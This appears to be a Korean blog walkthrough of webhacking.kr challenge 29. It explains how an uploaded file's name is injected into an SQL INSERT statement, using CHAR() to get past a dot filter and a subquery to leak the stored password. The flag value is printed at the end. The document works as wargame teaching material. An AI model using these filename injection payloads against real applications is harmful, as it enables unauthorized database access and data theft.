<html>
<head>
<title>Challenge 29</title>
</head>
<body>
<hr>
hint<br><br>
<font size=1>select password from c29_tb<br><br>
$file_name=str_replace(".","",$file_name);<br><br>
blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.<br>
더 간단한 방법이 존재하니 그 방법을 이용해주세요.
</font>
<hr>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
</body>
</html>
소스코드는 파일 첨부 기능과 .을 필터처리 하는 것 이외 별 기능이 없다.
임의 파일을 첨부해서 전송하면 시간, ip, file 값이 출력된다.
------------------------------------------------
time | ip | file
------------------------------------------------
1535819609 | 49.142.97.190 | Packmanexe
------------------------------------------------
1535819609 | 49.142.97.190 | Packmanexe
------------------------------------------------
위 결과를 볼 때, INSERT 쿼리로 파일을 DB에 저장하고, SELECT로 출력했을 것이다.
1. INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');
2. SELECT time, ip, file from c29_tb;
우리가 조작할 수 있는 것은 파일명이다.
또한 magic_quotes_gpc 옵션이 On이 되어있는데, 해당 옵션은 GET, POST, COOKIE 방식으로 전달받을 때 적용되고
$_FILE 변수로 전달받을 때는 적용안됨.
abc')# 로 파일명을 변경해서 전송했더니 upload error! 가 출력된다.
즉, INSERT 쿼리로 값을 저장할 때 칼럼의 순서가 다를수도 있다는 것이다.
INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name'); // upload error!
INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$file_name', '$_SERVER["REMOTE_ADDR"]'); // upload error!
INSERT INTO c29_tb (time, ip, file) VALUES ('$file_name', '$time', '$_SERVER["REMOTE_ADDR"]'); // Done
파일명이 첫번째 칼럼으로 지정되어 있다.
따라서 파일명을 hellworld','153582527','123123')#로 변경후 전송했다.
업로드는 성공했는데 출력이 없었다. INSERT를 할 때 자료형을 맞춰서 전달해야하는 것 같다.
hellworld','153582527','111.222.333.444')#로 파일명을 변경해서 시도했지만 여전히 업로드한 파일이 출력되지 않았다.
2번째, 3번째 칼럼위치도 변경해서 시도했지만 마찬가지였다.
아....필터처리를 까먹었다. .을 필터처리하기 때문에 CHAR()함수를 사용해 전송했지만
마찬가지로 해당파일을 출력한 화면을 볼 수 없었다.
SELECT 쿼리로 처리할 때 WHERE 구에 공인IP 주소를 조건으로 사용하는 것 같다.
나의 공인IP 주소를 CHAR() 함수로 변환해서 시도해봤다.
hellworld','153582527',CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))# 으로 전송하니 성공!
따라서 시간 칼럼 부분에 서브 쿼리로 (SELECT password FROM c29_tb)로 변경해서 전송하면 패스워드를 화면에서 볼 수 있다.
Hellworld!',(SELECT password from c29_tb),CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))#
IP는 소중하니까 물음표..
Password is 296eedfa0b5f4deab7cc8140cfc65dd8
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 55번 Blind SQL 인젝션 (0) | 2018.09.04 |
---|---|
[webhacking.kr] 53번 - 작성중 (0) | 2018.09.03 |
[webhacking.kr] 61번 SQL 인젝션 alias (0) | 2018.09.02 |
[webhacking.kr] 27번 SQL 인젝션 LIKE, -- (0) | 2018.09.01 |
[webhacking.kr] 07번 SQL 인젝션 UNION (0) | 2018.08.31 |